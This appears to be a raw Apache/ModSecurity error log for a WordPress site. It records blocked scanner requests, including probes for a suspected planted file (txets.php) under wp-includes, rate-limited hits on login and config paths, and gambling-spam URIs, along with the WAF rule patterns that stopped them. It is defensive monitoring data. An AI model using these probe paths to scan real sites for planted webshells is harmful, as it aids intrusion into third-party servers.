[Fri Apr 03 05:13:08.027493 2026] [:error] [pid 22778:tid 22809] [client 20.104.201.101:1945] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config.php"] [unique_id "ac7b5PS-q9hkdFqUjq9s-gAAANg"]
[Fri Apr 03 05:13:08.461726 2026] [:error] [pid 22778:tid 22806] [client 20.104.201.101:1887] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/config.php"] [unique_id "ac7b5PS-q9hkdFqUjq9s_QAAANU"]
[Fri Apr 03 05:13:08.645202 2026] [:error] [pid 22671:tid 22713] [client 20.104.201.101:1952] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/index.php"] [unique_id "ac7b5CRuUnMW7r8hvyY-6wAAABY"]
[Fri Apr 03 05:13:09.080057 2026] [:error] [pid 22671:tid 22698] [client 20.104.201.101:1696] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fw.php"] [unique_id "ac7b5SRuUnMW7r8hvyY-7AAAAAc"]
[Fri Apr 03 05:13:09.638208 2026] [:error] [pid 22778:tid 22786] [client 20.104.201.101:1795] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fw.php"] [unique_id "ac7b5fS-q9hkdFqUjq9tAgAAAME"]
[Fri Apr 03 05:13:10.074086 2026] [:error] [pid 22778:tid 22791] [client 20.104.201.101:1854] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fw.php"] [unique_id "ac7b5vS-q9hkdFqUjq9tBAAAAMY"]
[Fri Apr 03 05:13:10.418780 2026] [:error] [pid 58590:tid 58606] [client 20.104.201.101:1919] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/index.php"] [unique_id "ac7b5kze_aEPDM9xEE2jYQAAAQ4"]
[Fri Apr 03 05:13:10.622363 2026] [:error] [pid 22671:tid 22715] [client 20.104.201.101:1960] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fw.php"] [unique_id "ac7b5iRuUnMW7r8hvyY-7QAAABg"]
[Fri Apr 03 05:13:10.876031 2026] [:error] [pid 22673:tid 22750] [client 20.104.201.101:1863] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/index.php"] [unique_id "ac7b5u-GlVDWdWxxwJB5IwAAAIQ"]
[Fri Apr 03 05:13:11.077677 2026] [:error] [pid 58590:tid 58600] [client 20.104.201.101:1993] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/post.php"] [unique_id "ac7b50ze_aEPDM9xEE2jZQAAAQg"]
[Fri Apr 03 05:13:11.493454 2026] [:error] [pid 22672:tid 22728] [client 20.104.201.101:1889] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/post.php"] [unique_id "ac7b56zrgXkFSOK0fvp8EAAAAEk"]
[Fri Apr 03 05:13:11.705346 2026] [:error] [pid 22672:tid 22737] [client 20.104.201.101:1870] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/index.php"] [unique_id "ac7b56zrgXkFSOK0fvp8EgAAAFI"]
[Fri Apr 03 05:13:11.909011 2026] [:error] [pid 22672:tid 22720] [client 20.104.201.101:1805] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/post.php"] [unique_id "ac7b56zrgXkFSOK0fvp8FAAAAEE"]
[Fri Apr 03 05:13:12.321645 2026] [:error] [pid 22672:tid 22740] [client 20.104.201.101:1972] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/post.php"] [unique_id "ac7b6KzrgXkFSOK0fvp8GAAAAFU"]
[Fri Apr 03 05:13:12.479179 2026] [:error] [pid 22672:tid 22725] [client 20.104.201.101:1883] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/chosen.php"] [unique_id "ac7b6KzrgXkFSOK0fvp8HAAAAEY"]
[Fri Apr 03 05:13:12.934640 2026] [:error] [pid 58590:tid 58611] [client 20.104.201.101:1967] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ac7b6Eze_aEPDM9xEE2jaQAAARM"]
[Fri Apr 03 05:13:13.344498 2026] [:error] [pid 22672:tid 22727] [client 20.104.201.101:1800] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ac7b6azrgXkFSOK0fvp8HwAAAEg"]
[Fri Apr 03 05:13:13.614101 2026] [:error] [pid 22778:tid 22802] [client 20.104.201.101:1962] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/chosen.php"] [unique_id "ac7b6fS-q9hkdFqUjq9tFgAAANE"]
[Fri Apr 03 05:13:13.793697 2026] [:error] [pid 22778:tid 22803] [client 20.104.201.101:1665] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ac7b6fS-q9hkdFqUjq9tGAAAANI"]
[Fri Apr 03 05:13:14.231307 2026] [:error] [pid 58590:tid 58601] [client 20.104.201.101:1797] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ac7b6kze_aEPDM9xEE2jbgAAAQk"]
[Fri Apr 03 05:45:03.469927 2026] [:error] [pid 22778:tid 22785] [client 45.154.98.56:58531] [client 45.154.98.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/txets.php"] [unique_id "ac7jX_S-q9hkdFqUjq-B1gAAAMA"]
[Fri Apr 03 05:45:03.957399 2026] [:error] [pid 22673:tid 22761] [client 45.154.98.56:58590] [client 45.154.98.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "ac7jX--GlVDWdWxxwJCJlQAAAI8"]
[Fri Apr 03 05:45:04.444090 2026] [:error] [pid 58590:tid 58601] [client 45.154.98.56:58648] [client 45.154.98.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "ac7jYEze_aEPDM9xEE3BkgAAAQk"]
[Fri Apr 03 05:45:07.107147 2026] [:error] [pid 22671:tid 22710] [client 45.154.98.56:59021] [client 45.154.98.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/txets.php"] [unique_id "ac7jYyRuUnMW7r8hvyZKkwAAABM"]
[Fri Apr 03 06:20:21.327349 2026] [:error] [pid 22672:tid 22725] [client 182.42.105.144:58955] [client 182.42.105.144] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ac7rpazrgXkFSOK0fvqVtgAAAEY"]
[Fri Apr 03 07:17:39.185811 2026] [:error] [pid 40562:tid 40583] [client 170.106.152.218:35798] [client 170.106.152.218] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ac75EzfFMXuP9zvqCepztwAAAZI"]
[Fri Apr 03 11:24:03.330185 2026] [:error] [pid 55174:tid 55188] [client 49.51.38.193:59338] [client 49.51.38.193] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ac8y05_WKqUonPNUHYxlqQAAAcw"]
[Fri Apr 03 12:35:14.390013 2026] [proxy_fcgi:error] [pid 33445:tid 33469] [client 103.4.122.14:35296] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Fri Apr 03 12:35:33.965465 2026] [proxy_fcgi:error] [pid 33542:tid 33557] [client 103.4.122.14:35388] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Trying to get property 'version' of non-object in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/update.php on line 132'
[Fri Apr 03 12:35:45.741230 2026] [proxy_fcgi:error] [pid 40562:tid 40581] [client 103.4.122.14:35484] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Fri Apr 03 12:46:05.896002 2026] [:error] [pid 33446:tid 33499] [client 182.42.104.32:45883] [client 182.42.104.32] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ac9GDdg3dCqFYIIdw0p_tAAAAFY"]
[Fri Apr 03 14:25:29.327453 2026] [:error] [pid 33445:tid 33462] [client 43.135.134.127:36330] [client 43.135.134.127] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ac9dWVlRNZ0iDVmJWM0t5wAAAAw"]
[Fri Apr 03 16:09:10.876176 2026] [:error] [pid 33542:tid 33566] [client 5.135.131.226:53324] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "ac91pnwb6uB1LaGtepa_zgAAANU"]
[Fri Apr 03 16:09:13.346114 2026] [:error] [pid 55174:tid 55179] [client 5.135.131.226:43144] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "ac91qZ_WKqUonPNUHYyiawAAAcM"]
[Fri Apr 03 16:09:15.815829 2026] [:error] [pid 35469:tid 35477] [client 5.135.131.226:43172] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "ac91q6GvTIc8-wY3jUTXWwAAAQY"]
[Fri Apr 03 16:09:18.139936 2026] [:error] [pid 33445:tid 33452] [client 5.135.131.226:38974] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "ac91rllRNZ0iDVmJWM1ocAAAAAI"]
[Fri Apr 03 16:09:21.814036 2026] [:error] [pid 40562:tid 40588] [client 5.135.131.226:39012] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "ac91sTfFMXuP9zvqCeof1gAAAZc"]
[Fri Apr 03 16:09:24.295388 2026] [:error] [pid 55174:tid 55199] [client 5.135.131.226:39030] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "ac91tJ_WKqUonPNUHYyiewAAAdc"]
[Fri Apr 03 16:09:26.693243 2026] [:error] [pid 33446:tid 33493] [client 5.135.131.226:44910] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "ac91ttg3dCqFYIIdw0rD6AAAAFA"]
[Fri Apr 03 16:09:29.107092 2026] [:error] [pid 33447:tid 33521] [client 5.135.131.226:44936] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "ac91uUgaPmDHz92j4lMC1QAAAJE"]
[Fri Apr 03 16:09:31.612420 2026] [:error] [pid 55174:tid 55185] [client 5.135.131.226:44952] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "ac91u5_WKqUonPNUHYyiigAAAck"]
[Fri Apr 03 16:09:34.114594 2026] [:error] [pid 33447:tid 33511] [client 5.135.131.226:44968] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "ac91vkgaPmDHz92j4lMC3AAAAIc"]
[Fri Apr 03 16:09:36.659877 2026] [:error] [pid 33446:tid 33498] [client 5.135.131.226:44982] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "ac91wNg3dCqFYIIdw0rD8wAAAFU"]
[Fri Apr 03 16:09:39.342649 2026] [:error] [pid 55174:tid 55195] [client 5.135.131.226:42738] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "ac91w5_WKqUonPNUHYyilwAAAdM"]
[Fri Apr 03 16:09:41.736994 2026] [:error] [pid 33542:tid 33552] [client 5.135.131.226:42752] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "ac91xXwb6uB1LaGtepa_5QAAAMc"]
[Fri Apr 03 16:09:44.281481 2026] [:error] [pid 33542:tid 33566] [client 5.135.131.226:42782] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "ac91yHwb6uB1LaGtepa_6gAAANU"]
[Fri Apr 03 16:09:46.762435 2026] [:error] [pid 33447:tid 33505] [client 5.135.131.226:42476] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "ac91ykgaPmDHz92j4lMC6AAAAIE"]
[Fri Apr 03 16:09:49.311973 2026] [:error] [pid 35469:tid 35487] [client 5.135.131.226:42492] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "ac91zaGvTIc8-wY3jUTXqAAAARA"]
[Fri Apr 03 16:09:51.670856 2026] [:error] [pid 33445:tid 33454] [client 5.135.131.226:42512] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "ac91z1lRNZ0iDVmJWM1onQAAAAQ"]
[Fri Apr 03 16:09:54.195956 2026] [:error] [pid 33446:tid 33479] [client 5.135.131.226:42524] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "ac910tg3dCqFYIIdw0rEEwAAAEI"]
[Fri Apr 03 16:09:56.848816 2026] [:error] [pid 33445:tid 33463] [client 5.135.131.226:34402] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "ac911FlRNZ0iDVmJWM1opwAAAA0"]
[Fri Apr 03 16:09:59.517463 2026] [:error] [pid 40533:tid 40536] [client 5.135.131.226:34422] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "ac911_bIAA8AViDmwst4igAAAUE"]
